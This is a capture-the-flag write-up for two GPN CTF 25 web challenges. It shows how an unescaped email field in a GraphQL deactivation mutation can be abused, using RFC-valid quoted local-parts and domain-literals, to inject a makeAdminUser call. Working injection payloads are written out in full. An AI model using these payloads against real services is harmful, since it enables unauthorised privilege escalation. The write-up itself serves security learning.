Real Chirstmas’ by cdm22b

This writeup provides a walkthrough of the WEB challenges Real Christmas and Real Christmas V2 made by Intrigus, @intrigus. on discord for the GPN CTF 25

The two challenges had 37 and 17 solves respectively.

First of all I want to thank Intrigus for such a cool challenge, and the rest of the GPN team for the ctf event.

And also thank my teammate coutinho21 for the help on the challenge

I will try to make the solve and understanding of the challenge as simple as possible


Table of Contents


Understanding the challenge

When we open the challenge we can see a simple web page that allows a user to:

register-page

The src code

I won’t bother you too much with the source code analysis and will show you the interesting things

The routes file

The routes file provides a lot of information but I will highlight the most important functions, firstly how to get the flag

@bp.route("/flag", methods=["GET"])
def get_flag():
    user = get_logged_in_user()
    if not user:
       ... 
    if not user.is_active:
        flash("User account is not active.", "error")
        ...
    if not user.is_admin:
        flash("User account is not an admin, lol.", "error")
        ...

    if current_time - registration_time >= timedelta(seconds=FLAG_WAIT_SECONDS):
        flag = os.environ.get("FLAG")
        ...
       else:
        flash(
            f"Flag will be available after {FLAG_WAIT_SECONDS} seconds from registration",
            "error") 
        ...
    

So we get 2 crucial pieces of information:


And this is how a user registers in the app:

@bp.route("/register", methods=["GET", "POST"])
def register():
    if request.method == "POST":
        email = request.form.get("email")
        password = request.form.get("password")

        if not email or not password:
            flash("Email and password are required.", "error")
            return render_template("register.html")

        result = is_email(email, diagnose=True, check_dns=False, allow_gtld=True) # FOCUS ON THIS LINE !!!!
        if isinstance(result, InvalidDiagnosis):
            flash(result, "error")
            return render_template("register.html")

        if User.query.filter_by(email=email).first():
            flash("Email already registered.", "error")
            return render_template("register.html")

        ... 
    
        flash("User registered successfully.", "success")
        return redirect("/login")
    return render_template("register.html")

  1. User provides an email that is validated using python’s pyisemail (uses RFC 5322 for email validation)
  2. If no user exists with that email, the user successfully registers and is created

The Graphql file


class MakeAdminUser(Mutation):
    class Meta:
        description = "Mutation to make a user an admin"

    class Arguments:
        user = UserInput(required=True)

    success = Boolean()
    message = String()

    def mutate(self, info, user):
        # Auth
        if (
            not info.context.headers.get("Key")
            == current_app.config["SERVICE_TOKEN_KEY"]
        ):
            return MakeAdminUser(success=False, message="Unauthorized")

        # Find the user
        db_user = None
        if user.get("id") is not None:
            db_user = User.query.filter_by(id=user.get("id")).first()
        elif user.get("email") is not None:
            db_user = User.query.filter_by(email=user.get("email")).first()

        if not db_user:
            return MakeAdminUser(success=False, message="User not found")

        db_user.is_admin = True
        db.session.commit()
        return MakeAdminUser(success=True, message="User made admin successfully")

From the code we can see that there exists a mutation to elevate a user to admin, though we are faced with a problem, we cannot just execute it, since the mutation requires a SECRET_TOKEN_KEY so we will need to somehow make someone with this key elevate one of our users to admin


The Services file


def deactivate_user_graphql(email):
    graphql_endpoint = current_app.config["GRAPHQL_ENDPOINT"]
    query = f"""
        mutation {{
            deactivateUser (user: {{email: "{email}"}}){{
                success
            }}
        }}
    """
    try:
        current_app.logger.info(
            f"Sending deactivation request for user: {email} to GraphQL endpoint."
        )
        response = requests.post(
            graphql_endpoint,
            json={"query": query, "variables": {}},
            # Just assume that this deactivation service is running on a separate server,
            # and that we get a token to access it.
            headers={
                "Key": current_app.config["SERVICE_TOKEN_KEY"],
            },
        )

        response.raise_for_status()

    except requests.exceptions.RequestException as e:
        current_app.logger.error(f"Failed to send deactivation request to GraphQL: {e}")
    except Exception as e:
        current_app.logger.error(
            f"An unexpected error occurred during user deactivation: {e}"
        )
        

Voilá we just found an injection point, the user’s email is being used un-escaped on the graphql mutation. And we can also see that thankfully the operation is being done using that SECRET_TOKEN we need to call MakeAdminUser, the code also shows this task is ran every 10 seconds


The solve

So if we want to get a flag:


Let’s get to building that solution. Firstly the deactivation looks like this:

mutation {
            deactivateUser (user: {email: " <INPUT> "}){
                success
            }
        }

So to make a user NOT be deactivated AND elevated to admin we would need to do

mutation {
            deactivateUser (user: {email: "" }) { success } makeAdminUser( user: { id: 1 } ) {
                success
            }
        }

For this, the input injection looks like this :

" }) { success } makeAdminUser( user: { id: 1 } ) {

Perfect, we can deactivate no one, and elevate a user with any id to admin

Now this is where we run into the issue, how can we register a user with this email? RFC should block it

How the RFC sees an email

The RFC sees an email divided in 2 parts <local-part>@<domain>

The Local-part can either be:

So how exactly can we get out of the string (" <INPUT> ") and use special chars?

I (kinda) lied to you, the RFC actually allows almost any ASCII character when wrapped in double quotes, so all of these chars, ()<>[]:,;@\"!#$%^&* and space, are allowed when inside double quotes.


So this should be enough to build our exploit correct?

REMINDER : " }) { success } makeAdminUser( user: { id: 1 } ) {


So our local-part will be exactly that


" }) { success } makeAdminUser( user: { id: 1 } ) { " and our domain @cdm.com

BUT this raises an issue, as it creates this errored mutation:

mutation {
            deactivateUser (user: {email: "" }) { success } makeAdminUser( user: { id: 1 } ) { "@cdm.com
                success
            }
        }

To solve this issue we can use a # to comment out the junk from our domain, remember the # is allowed!

So we get this payload: "}){success} makeAdminUser(user:{id:1}){ #"@cdm.com

Which gives us

mutation {
            deactivateUser (user: {email: "" }) { success } makeAdminUser( user: { id: 1 } ) { #"@cdm.com
                success
            }
        }

A correct query !!!

Shoutout to coutinho21 for the help !

Now we just need to create a user with this email

"}){success} makeAdminUser(user:{id:1}){  #"@cdm.com

Making sure id corresponds with this same user’s id and login, wait a few seconds for the deactivation task and voilá we get the flag !

flag1


THE V2

The V2 has one simple code change, you no longer can use id on the MakeAdminUser mutation, so you are required to use email

This : makeAdminUser(user: { id: 1 }) does NOT work

This enforces us to use a payload like the previous, with one simple change:

Giving us:

mutation {
  deactivateUser(user: { email: "" }) {success} makeAdminUser(user {email:"someone@somewhere.com"}) { #"@cdm.com 
    success
  }
}

Why is this a huge issue? We now need to use double quotes inside of double quotes, which the RFC does not enjoy much, " "" "

So how can we pass validation and do an injection?

Previously I showed you in a simple way how the RFC sees an email, I (kinda) lied to you again ;)

Now we will see how the RFC really sees an email

email = local-part "@" ( domain | [ domain-literal ] )

According to the RFC :

A domain can be enclosed in square brackets [...] and treated as a domain-literal.


A domain-literal:

So what does this mean? This means we have a chance to use 2 double quotes, since inside the domain literal we can use it as much as we want, for example, this is valid:

So let’s go back to our injection, it needs to look like this:

"}){success} makeAdminUser(user: {email:"someone@somewhere.com"} ){  #"

So lets place it inside a domain-literal

local@[ "}){success} makeAdminUser(user: {email:"someone@somewhere.com"} ){  #" ]

What the RFC parser sees ?

    local-part : local
    @
    domain-literal : [...]

So it is accepted, we now just need to create a user with an email that will break the deactivation (so he does not get deactivated), then elevate it to admin by registering another user with our payload


To break the deactivation we have seen is trivial, just create a user

Now he stays active, and we simply register another user with our payload

This makes the server do the following mutation

mutation {
            deactivateUser (user: {email: "local@["}) {success} 
            makeAdminUser(user:{email:"\"\"@cdm.com"}) {  #"]{
                success
            }
        }

And we now have a user that is both active and admin, let’s get that flag

flag2


Overall this was a great challenge that chains together 2 different vulnerabilities, graphQl injection and RFC bypassing.

I want to thank Intrigus again for the fun challenge

And thank you for reading this writeup